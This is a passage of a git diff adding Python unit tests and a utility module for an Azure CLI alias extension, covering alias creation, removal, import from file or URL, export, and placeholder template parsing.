self.patchers: + patcher.start() + + def tearDown(self): + for patcher in self.patchers: + patcher.stop() + shutil.rmtree(self.mock_config_dir) + + def test_create_and_list_alias(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') + self.cmd('az alias list', checks=[ + self.check('[0].alias', '{alias_name}'), + self.check('[0].command', '{alias_command}'), + self.check('length(@)', 1) + ]) + + def test_create_alias_error(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'will_fail' + }) + self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"', expect_failure=True) + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + + def test_remove_alias(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') + self.cmd('az alias list', checks=[ + self.check('[0].alias', '{alias_name}'), + self.check('[0].command', '{alias_command}'), + self.check('length(@)', 1) + ]) + self.cmd('az alias remove -n "{alias_name}"') + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + + def test_remove_multiple_aliases(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.kwargs.update({ + 'alias_name': 'storage-ls {{ url }}', + 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.cmd('az alias list', checks=[ + self.check('length(@)', 2) + ]) + self.cmd('az alias remove -n \'storage-ls {{{{ url }}}}\' c') + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + + def test_remove_alias_non_existing(self): + self.kwargs.update({ + 'alias_name': 'c', + }) + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + self.cmd('az alias remove -n "{alias_name}"', expect_failure=True) + + def test_alias_file_and_hash_create(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') + expected_alias_string = '''[c] +command = create + +''' + with open(alias.GLOBAL_ALIAS_PATH) as alias_config_file: + assert alias_config_file.read() == expected_alias_string + + def test_alias_file_remove(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n "{alias_name}" -c "{alias_command}"') + self.cmd('az alias list', checks=[ + self.check('[0].alias', '{alias_name}'), + self.check('[0].command', '{alias_command}'), + self.check('length(@)', 1) + ]) + self.cmd('az alias remove -n "{alias_name}"') + + with open(alias.GLOBAL_ALIAS_PATH) as alias_config_file: + assert not alias_config_file.read() + + def test_create_and_import_file(self): + _, mock_alias_config_file = tempfile.mkstemp() + with open(mock_alias_config_file, 'w') as f: + f.write('[c]\ncommand = create\n[grp]\ncommand = group') + + self.kwargs.update({ + 'alias_source': mock_alias_config_file + }) + self.cmd('az alias import -s {alias_source}') + self.cmd('az alias list', checks=[ + self.check('[0].alias', 'c'), + self.check('[0].command', 'create'), + self.check('[1].alias', 'grp'), + self.check('[1].command', 'group'), + self.check('length(@)', 2) + ]) + os.remove(mock_alias_config_file) + + def test_create_and_import_url(self): + self.kwargs.update({ + 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias' + }) + self.cmd('az alias import -s {alias_source}') + self.cmd('az alias list', checks=[ + self.check('[0].alias', 'c'), + self.check('[0].command', 'create'), + self.check('[1].alias', 'grp'), + self.check('[1].command', 'group'), + self.check('length(@)', 2) + ]) + + def test_create_and_import_collide(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'vm' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.cmd('az alias list', checks=[ + self.check('[0].alias', '{alias_name}'), + self.check('[0].command', '{alias_command}'), + self.check('length(@)', 1) + ]) + self.kwargs.update({ + 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias' + }) + self.cmd('az alias import -s {alias_source}') + self.cmd('az alias list', checks=[ + self.check('[0].alias', 'c'), + self.check('[0].command', 'create'), + self.check('[1].alias', 'grp'), + self.check('[1].command', 'group'), + self.check('length(@)', 2) + ]) + + def test_import_invalid_content_from_url(self): + self.kwargs.update({ + 'alias_source': 'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias' + }) + self.cmd('az alias import -s {alias_source}', expect_failure=True) + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + + def test_remove_all_aliases(self): + self.kwargs.update({ + 'alias_name': 'list-vm {{ resource_group }}', + 'alias_command': 'vm list --resource-group {{ resource_group }}' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.kwargs.update({ + 'alias_name': 'storage-ls {{ url }}', + 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.cmd('az alias list', checks=[ + self.check('length(@)', 2) + ]) + self.cmd('az alias remove-all --yes') + self.cmd('az alias list', checks=[ + self.check('length(@)', 0) + ]) + + def test_excessive_whitespaces_in_alias_command(self): + self.kwargs.update({ + 'alias_name': ' list-vm \n{{ resource_group }} ', + 'alias_command': ' vm \n list --resource-group {{ resource_group }} ' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.cmd('az alias list', checks=[ + self.check('[0].alias', 'list-vm {{{{ resource_group }}}}'), + self.check('[0].command', 'vm list --resource-group {{{{ resource_group }}}}'), + self.check('length(@)', 1) + ]) + + @mock.patch('os.getcwd') + def test_export_file_name_only(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p alias') + self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias')) + + @mock.patch('os.getcwd') + def test_export_existing_file(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p alias') + self.cmd('az alias export -p alias', expect_failure=True) + + @mock.patch('os.getcwd') + def test_export_path_relative_path(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p test1/test2/alias') + self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'test1', 'test2', 'alias')) + + @mock.patch('os.getcwd') + def test_export_path_dir_only(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p {}'.format(os.path.join(self.mock_config_dir, 'export'))) + self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias')) + + @mock.patch('os.getcwd') + def test_export_path_absolute_path(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p {}'.format(os.path.join(self.mock_config_dir, 'export', 'alias12345'))) + self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias12345')) + + @mock.patch('os.getcwd') + def test_export_path_exclusion(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p {} -e \'{}\''.format('alias', 'storage-ls {{{{ url }}}}')) + self._post_test_export(os.path.join(self.mock_config_dir, 'export', 'alias'), test_exclusion=True) + + @mock.patch('os.getcwd') + def test_export_path_exclusion_error(self, mock_os_getcwd): + mock_os_getcwd.return_value = os.path.join(self.mock_config_dir, 'export') + self._pre_test_export() + self.cmd('az alias export -p {} -e {}'.format('alias', 'invalid_alias'), expect_failure=True) + + def _pre_test_export(self): + self.kwargs.update({ + 'alias_name': 'c', + 'alias_command': 'create' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.kwargs.update({ + 'alias_name': 'storage-ls {{ url }}', + 'alias_command': 'storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }}' + }) + self.cmd('az alias create -n \'{alias_name}\' -c \'{alias_command}\'') + self.cmd('az alias list', checks=[ + self.check('length(@)', 2) + ]) + + def _post_test_export(self, export_path, test_exclusion=False): # pylint: disable=no-self-use + with open(export_path, 'r') as f: + expected = '''[c] +command = create + +[storage-ls {{ url }}] +command = storage blob list --account-name {{ url.replace("https://", "").split(".")[0] }} --container-name {{ url.replace("https://", "").split("/")[1] }} + +''' if not test_exclusion else '''[c] +command = create + +''' + assert f.read() == expected + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_argument.py b/src/alias_msrc_test/azext_alias/tests/test_argument.py new file mode 100644 index 00000000000..410dd39a0ad --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_argument.py @@ -0,0 +1,140 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long,no-self-use,too-many-public-methods + +import unittest + +from knack.util import CLIError + +from azext_alias.argument import ( + get_placeholders, + normalize_placeholders, + build_pos_args_table, + render_template, + check_runtime_errors +) + + +class TestArgument(unittest.TestCase): + + def test_get_placeholders(self): + self.assertListEqual(['arg_1', 'arg_2'], get_placeholders('{{ arg_1 }} {{ arg_2 }}')) + + def test_get_placeholders_with_numbers(self): + self.assertListEqual(['_0', '_1'], get_placeholders('{{ 0 }} {{ 1 }}')) + + def test_get_placeholders_with_strings_and_numbers(self): + self.assertListEqual(['_0', '_1', 'arg_1', 'arg_2'], get_placeholders('{{ 0 }} {{ 1 }} {{ arg_1 }} {{ arg_2 }}')) + + def test_get_placeholders_duplicate(self): + with self.assertRaises(CLIError) as cm: + get_placeholders('{{ arg_1 }} {{ arg_1 }}', check_duplicates=True) + self.assertEqual(str(cm.exception), 'alias: Duplicated placeholders found when transforming "{{ arg_1 }} {{ arg_1 }}"') + + def test_get_placeholders_no_opening_bracket(self): + with self.assertRaises(CLIError) as cm: + get_placeholders('arg_1 }}') + self.assertEqual(str(cm.exception), 'alias: Brackets in "arg_1 }}" are not enclosed properly') + + def test_get_placeholders_double_opening_bracket(self): + with self.assertRaises(CLIError) as cm: + get_placeholders('{{ {{ arg_1') + self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ {{ arg_1" are not enclosed properly') + + def test_get_placeholders_double_closing_bracket(self): + with self.assertRaises(CLIError) as cm: + get_placeholders('{{ arg_1 }} }}') + self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ arg_1 }} }}" are not enclosed properly') + + def test_get_placeholders_no_closing_bracket(self): + with self.assertRaises(CLIError) as cm: + get_placeholders('{{ arg_1 ') + self.assertEqual(str(cm.exception), 'alias: Brackets in "{{ arg_1 " are not enclosed properly') + + def test_normalize_placeholders(self): + self.assertEqual('"{{ arg_1 }}" "{{ arg_2 }}"', normalize_placeholders('{{ arg_1 }} {{ arg_2 }}', inject_quotes=True)) + + def test_normalize_placeholders_number(self): + self.assertEqual('"{{_0}}" "{{_1}}"', normalize_placeholders('{{ 0 }} {{ 1 }}', inject_quotes=True)) + + def test_normalize_placeholders_number_no_quotes(self): + self.assertEqual('{{_0}} {{_1}}', normalize_placeholders('{{ 0 }} {{ 1 }}')) + + def test_build_pos_args_table(self): + expected = { + 'arg_1': 'test_1', + 'arg_2': 'test_2' + } + self.assertDictEqual(expected, build_pos_args_table('{{ arg_1 }} {{ arg_2 }}', ['test_1', 'test_2'], 0)) + + def test_build_pos_args_table_with_spaces(self): + expected = { + '_0': '{\\"test\\": \\"test\\"}', + 'arg_1': 'test1 test2', + 'arg_2': 'arg with spaces', + 'arg_3': '\\"azure cli\\"' + } + self.assertDictEqual(expected, build_pos_args_table('{{ 0 }} {{ arg_1 }} {{ arg_2 }} {{ arg_3 }}', ['{"test": "test"}', 'test1 test2', 'arg with spaces', '"azure cli"'], 0)) + + def test_build_pos_args_table_not_enough_arguments(self): + with self.assertRaises(CLIError) as cm: + build_pos_args_table('{{ arg_1 }} {{ arg_2 }}', ['test_1', 'test_2'], 1) + self.assertEqual(str(cm.exception), 'alias: "{{ arg_1 }} {{ arg_2 }}" takes exactly 2 positional arguments (1 given)') + + def test_render_template(self): + pos_args_table = { + 'arg_1': 'test_1', + 'arg_2': 'test_2' + } + self.assertListEqual(['test_1', 'test_2'], render_template('{{ arg_1 }} {{ arg_2 }}', pos_args_table)) + + def test_render_template_pos_arg_with_spaces(self): + pos_args_table = { + 'arg_1': '{\\"test\\": \\"test\\"}', + 'arg_2': 'argument with spaces' + } + self.assertListEqual(['{"test": "test"}', 'argument with spaces'], render_template('{{ arg_1 }} {{ arg_2 }}', pos_args_table)) + + def test_render_template_split_arg(self): + pos_args_table = { + 'arg_1': 'argument with spaces' + } + self.assertListEqual(['argument'], render_template('{{ arg_1.split()[0] }}', pos_args_table)) + + def test_render_template_upper(self): + pos_args_table = { + 'arg_1': 'argument with spaces' + } + self.assertListEqual(['argument with spaces'.upper()], render_template('{{ arg_1.upper() }}', pos_args_table)) + + def test_render_template_error(self): + with self.assertRaises(CLIError) as cm: + pos_args_table = { + 'arg_1': 'test_1', + 'arg_2': 'test_2' + } + render_template('{{ arg_1 }} {{ arg_2 }', pos_args_table) + self.assertEqual(str(cm.exception), 'alias: Encounted error when injecting positional arguments to ""{{ arg_1 }}" "{{ arg_2 }". Error detail: unexpected \'}\'') + + def test_check_runtime_errors_no_error(self): + pos_args_table = { + 'arg_1': 'test_1', + 'arg_2': 'test_2' + } + check_runtime_errors('{{ arg_1.split("_")[0] }} {{ arg_2.split("_")[1] }}', pos_args_table) + + def test_check_runtime_errors_has_error(self): + with self.assertRaises(CLIError) as cm: + pos_args_table = { + 'arg_1': 'test_1', + 'arg_2': 'test_2' + } + check_runtime_errors('{{ arg_1.split("_")[2] }} {{ arg_2.split("_")[1] }}', pos_args_table) + self.assertEqual(str(cm.exception), 'alias: Encounted error when evaluating "arg_1.split("_")[2]". Error detail: list index out of range') + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_custom.py b/src/alias_msrc_test/azext_alias/tests/test_custom.py new file mode 100644 index 00000000000..bc133ec7ca9 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_custom.py @@ -0,0 +1,85 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long,no-self-use,protected-access + +import unittest +from unittest.mock import Mock, patch + +from knack.util import CLIError + +import azext_alias +from azext_alias.util import get_config_parser +from azext_alias.tests._const import TEST_RESERVED_COMMANDS +from azext_alias.custom import ( + create_alias, + list_alias, + remove_alias, +) + + +class AliasCustomCommandTest(unittest.TestCase): + + def setUp(self): + self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) + self.patcher.start() + azext_alias.custom._commit_change = Mock() + + def tearDown(self): + self.patcher.stop() + + def test_create_alias(self): + create_alias('ac', 'account') + + def test_create_alias_multiple_commands(self): + create_alias('dns', 'network dns') + + def test_create_alias_pos_arg(self): + create_alias('test {{ arg }}', 'account {{ arg }}') + + def test_create_alias_pos_arg_with_addtional_processing(self): + create_alias('test {{ arg }}', 'account {{ arg.replace("https://", "") }}') + + def test_create_alias_pos_arg_with_filter(self): + create_alias('test {{ arg }}', 'account {{ arg | upper }}') + + def test_create_alias_pos_arg_with_filter_and_addtional_processing(self): + create_alias('test {{ arg }}', 'account {{ arg.replace("https://", "") | upper }}') + + def test_list_alias(self): + mock_alias_table = get_config_parser() + mock_alias_table.add_section('ac') + mock_alias_table.set('ac', 'command', 'account') + azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) + self.assertListEqual([{'alias': 'ac', 'command': 'account'}], list_alias()) + + def test_list_alias_key_misspell(self): + mock_alias_table = get_config_parser() + mock_alias_table.add_section('ac') + mock_alias_table.set('ac', 'cmmand', 'account') + azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) + self.assertListEqual([], list_alias()) + + def test_list_alias_multiple_alias(self): + mock_alias_table = get_config_parser() + mock_alias_table.add_section('ac') + mock_alias_table.set('ac', 'command', 'account') + mock_alias_table.add_section('dns') + mock_alias_table.set('dns', 'command', 'network dns') + azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) + self.assertListEqual([{'alias': 'ac', 'command': 'account'}, {'alias': 'dns', 'command': 'network dns'}], list_alias()) + + def test_remove_alias_remove_non_existing_alias(self): + mock_alias_table = get_config_parser() + mock_alias_table.add_section('ac') + mock_alias_table.set('ac', 'command', 'account') + azext_alias.custom.get_alias_table = Mock(return_value=mock_alias_table) + with self.assertRaises(CLIError) as cm: + remove_alias(['dns']) + self.assertEqual(str(cm.exception), 'alias: "dns" alias not found') + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_util.py b/src/alias_msrc_test/azext_alias/tests/test_util.py new file mode 100644 index 00000000000..3a2750e5c27 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_util.py @@ -0,0 +1,66 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long + +import os +import shutil +import tempfile +import unittest +from unittest import mock + +from azext_alias.util import remove_pos_arg_placeholders, build_tab_completion_table, get_config_parser +from azext_alias._const import ALIAS_TAB_COMP_TABLE_FILE_NAME +from azext_alias.tests._const import TEST_RESERVED_COMMANDS + + +class TestUtil(unittest.TestCase): + + def setUp(self): + self.mock_config_dir = tempfile.mkdtemp() + self.patchers = [] + self.patchers.append(mock.patch('azext_alias.util.GLOBAL_ALIAS_TAB_COMP_TABLE_PATH', os.path.join(self.mock_config_dir, ALIAS_TAB_COMP_TABLE_FILE_NAME))) + self.patchers.append(mock.patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS)) + for patcher in self.patchers: + patcher.start() + + def tearDown(self): + for patcher in self.patchers: + patcher.stop() + shutil.rmtree(self.mock_config_dir) + + def test_remove_pos_arg_placeholders(self): + self.assertEqual('webapp create', remove_pos_arg_placeholders('webapp create')) + + def test_remove_pos_arg_placeholders_with_pos_arg(self): + self.assertEqual('network dns', remove_pos_arg_placeholders('network dns {{ arg_1 }}')) + + def test_remove_pos_arg_placeholders_with_args(self): + self.assertEqual('vm create', remove_pos_arg_placeholders('vm create -g test -n test')) + + def test_remove_pos_arg_placeholders_with_query(self): + self.assertEqual('group list', remove_pos_arg_placeholders('group list --query "[].{Name:name, Location:location}" --output table')) + + def test_build_tab_completion_table(self): + mock_alias_table = get_config_parser() + mock_alias_table.add_section('ac') + mock_alias_table.set('ac', 'command', 'account') + mock_alias_table.add_section('ll') + mock_alias_table.set('ll', 'command', 'list-locations') + mock_alias_table.add_section('n') + mock_alias_table.set('n', 'command', 'network') + mock_alias_table.add_section('al') + mock_alias_table.set('al', 'command', 'account list-locations') + tab_completion_table = build_tab_completion_table(mock_alias_table) + self.assertDictEqual({ + 'account': ['', 'storage'], + 'list-locations': ['account'], + 'network': [''], + 'account list-locations': [''] + }, tab_completion_table) + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_validators.py b/src/alias_msrc_test/azext_alias/tests/test_validators.py new file mode 100644 index 00000000000..440c6eb6a5d --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_validators.py @@ -0,0 +1,153 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long,no-self-use,too-many-public-methods + +import os +import sys +import tempfile +import unittest +from unittest.mock import patch + +from knack.util import CLIError + +from azext_alias._validators import process_alias_create_namespace, process_alias_import_namespace +from azext_alias.tests._const import TEST_RESERVED_COMMANDS + + +class TestValidators(unittest.TestCase): + + def setUp(self): + self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) + self.patcher.start() + + def tearDown(self): + self.patcher.stop() + + def test_process_alias_create_namespace_non_existing_command(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test', 'non existing command')) + self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "non existing command"') + + def test_process_alias_create_namespace_empty_alias_name(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('', 'account')) + self.assertEqual(str(cm.exception), 'alias: Empty alias name or command is invalid') + + def test_process_alias_create_namespace_empty_alias_command(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('ac', '')) + self.assertEqual(str(cm.exception), 'alias: Empty alias name or command is invalid') + + def test_process_alias_create_namespace_non_existing_commands_with_pos_arg(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', 'account list {{ arg }}')) + self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "account list {{ arg }}"') + + def test_process_alias_create_namespace_inconsistent_pos_arg_name(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', 'account {{ ar }}')) + if sys.version_info.major == 2: + self.assertTrue(str(cm.exception) in ['alias: Positional arguments set([\'ar\', \'arg\']) are not in both alias name and alias command', 'alias: Positional arguments set([\'arg\', \'ar\']) are not in both alias name and alias command']) + else: + self.assertTrue(str(cm.exception) in ['alias: Positional arguments {\'ar\', \'arg\'} are not in both alias name and alias command', 'alias: Positional arguments {\'arg\', \'ar\'} are not in both alias name and alias command']) + + def test_process_alias_create_namespace_pos_arg_only(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg }}', '{{ arg }}')) + self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "{{ arg }}"') + + def test_process_alias_create_namespace_inconsistent_number_pos_arg(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test {{ arg_1 }} {{ arg_2 }}', 'account {{ arg_2 }}')) + if sys.version_info.major == 2: + self.assertEqual(str(cm.exception), 'alias: Positional argument set([\'arg_1\']) is not in both alias name and alias command') + else: + self.assertEqual(str(cm.exception), 'alias: Positional argument {\'arg_1\'} is not in both alias name and alias command') + + def test_process_alias_create_namespace_lvl_error(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('network', 'account list')) + self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "account list"') + + def test_process_alias_create_namespace_lvl_error_with_pos_arg(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('account {{ test }}', 'dns {{ test }}')) + self.assertEqual(str(cm.exception), 'alias: "account {{ test }}" is a reserved command and cannot be used to represent "dns {{ test }}"') + + def test_process_alias_create_namespace_pos_arg_1(self): + process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete resourceGroupName')) + + def test_process_alias_create_namespace_pos_arg_2(self): + process_alias_create_namespace(MockAliasCreateNamespace('test', 'delete resourceGroupName')) + + def test_process_alias_create_namespace_pos_arg_3(self): + process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete resourceGroupName -p param')) + + def test_process_alias_create_namespace_pos_arg_4(self): + with self.assertRaises(CLIError) as cm: + process_alias_create_namespace(MockAliasCreateNamespace('test', 'group resourceGroupName')) + self.assertEqual(str(cm.exception), 'alias: Invalid Azure CLI command "group resourceGroupName"') + + def test_process_alias_create_namespace_pos_arg_5(self): + process_alias_create_namespace(MockAliasCreateNamespace('test', 'group delete -p param resourceGroupName')) + + def test_process_alias_import_namespace(self): + process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias')) + + def test_process_alias_import_namespace_invalid_url_python_2(self): + with self.assertRaises(CLIError) as cm: + process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia')) + if sys.version_info.major == 2: + self.assertEqual(str(cm.exception), 'alias: Encounted error when retrieving alias file from https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia. Error detail: 404: Not Found') + else: + self.assertEqual(str(cm.exception), 'alias: Encounted error when retrieving alias file from https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia. Error detail: HTTP Error 404: Not Found') + + def test_process_alias_import_namespace_invalid_content_from_url(self): + with self.assertRaises(CLIError) as cm: + process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias')) + if sys.version_info.major == 2: + self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias, line: 1\'[c\'') + else: + self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: \'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias\', line: 1\'[c\'') + + def test_process_alias_import_namespace_file(self): + _, mock_alias_config_file = tempfile.mkstemp() + process_alias_import_namespace(MockAliasImportNamespace(mock_alias_config_file)) + os.remove(mock_alias_config_file) + + def test_process_alias_import_namespace_invalid_content_in_file(self): + _, mock_alias_config_file = tempfile.mkstemp() + with open(mock_alias_config_file, 'w') as f: + f.write('invalid alias config format') + with self.assertRaises(CLIError) as cm: + process_alias_import_namespace(MockAliasImportNamespace(mock_alias_config_file)) + if sys.version_info.major == 2: + self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: {}, line: 1\'invalid alias config format\''.format(mock_alias_config_file)) + else: + self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: \'{}\', line: 1\'invalid alias config format\''.format(mock_alias_config_file)) + os.remove(mock_alias_config_file) + + def test_process_alias_import_namespace_dir(self): + with self.assertRaises(CLIError) as cm: + process_alias_import_namespace(MockAliasImportNamespace(os.getcwd())) + self.assertEqual(str(cm.exception), 'alias: {} is a directory'.format(os.getcwd())) + + +class MockAliasCreateNamespace(object): # pylint: disable=too-few-public-methods + + def __init__(self, alias_name, alias_command): + self.alias_name = alias_name + self.alias_command = alias_command + + +class MockAliasImportNamespace(object): # pylint: disable=too-few-public-methods + + def __init__(self, alias_source): + self.alias_source = alias_source + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/util.py b/src/alias_msrc_test/azext_alias/util.py new file mode 100644 index 00000000000..379cd6692eb --- /dev/null +++ b/src/alias_msrc_test/azext_alias/util.py @@ -0,0 +1,225 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=wrong-import-order,import-error,relative-import + +import re +import sys +import json +import shlex +from collections import defaultdict +from six.moves import configparser +from six.moves.urllib.parse import urlparse +from six.moves.urllib.request import urlretrieve + +from knack.util import CLIError + +import azext_alias +from azext_alias._const import COLLISION_CHECK_LEVEL_DEPTH, GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, ALIAS_FILE_URL_ERROR + + +def get_config_parser(): + """ + Disable configparser's interpolation function and return an instance of config parser. + + Returns: + An instance of config parser with interpolation disabled. + """ + if sys.version_info.major == 3: + return configparser.ConfigParser(interpolation=None) # pylint: disable=unexpected-keyword-arg + return configparser.ConfigParser() # pylint: disable=undefined-variable + + +def get_alias_table(): + """ + Get the current alias table. + """ + try: + alias_table = get_config_parser() + alias_table.read(azext_alias.alias.GLOBAL_ALIAS_PATH) + return alias_table + except Exception: # pylint: disable=broad-except + return get_config_parser() + + +def is_alias_command(subcommands, args): + """ + Check if the user is invoking one of the comments in 'subcommands' in the from az alias . + + Args: + subcommands: The list of subcommands to check through. + args: The CLI arguments to process. + + Returns: + True if the user is invoking 'az alias {command}'. + """ + if not args: + return False + + for subcommand in subcommands: + if args[:2] == ['alias', subcommand]: + return True + + return False + + +def cache_reserved_commands(load_cmd_tbl_func): + """ + We don't have access to load_cmd_tbl_func in custom.py (need the entire command table + for alias and command validation when the user invokes alias create). + This cache saves the entire command table globally so custom.py can have access to it. + Alter this cache through cache_reserved_commands(load_cmd_tbl_func) in util.py. + + Args: + load_cmd_tbl_func: The function to load the entire command table. + """ + if not azext_alias.cached_reserved_commands: + azext_alias.cached_reserved_commands = list(load_cmd_tbl_func([]).keys()) + + +def remove_pos_arg_placeholders(alias_command): + """ + Remove positional argument placeholders from alias_command. + + Args: + alias_command: The alias command to remove from. + + Returns: + The alias command string without positional argument placeholder. + """ + # Boundary index is the index at which named argument or positional argument starts + split_command = shlex.split(alias_command) + boundary_index = len(split_command) + for i, subcommand in enumerate(split_command): + if not re.match('^[a-z]', subcommand.lower()) or i > COLLISION_CHECK_LEVEL_DEPTH: + boundary_index = i + break + + return ' '.join(split_command[:boundary_index]).lower() + + +def filter_aliases(alias_table): + """ + Filter aliases that does not have a command field in the 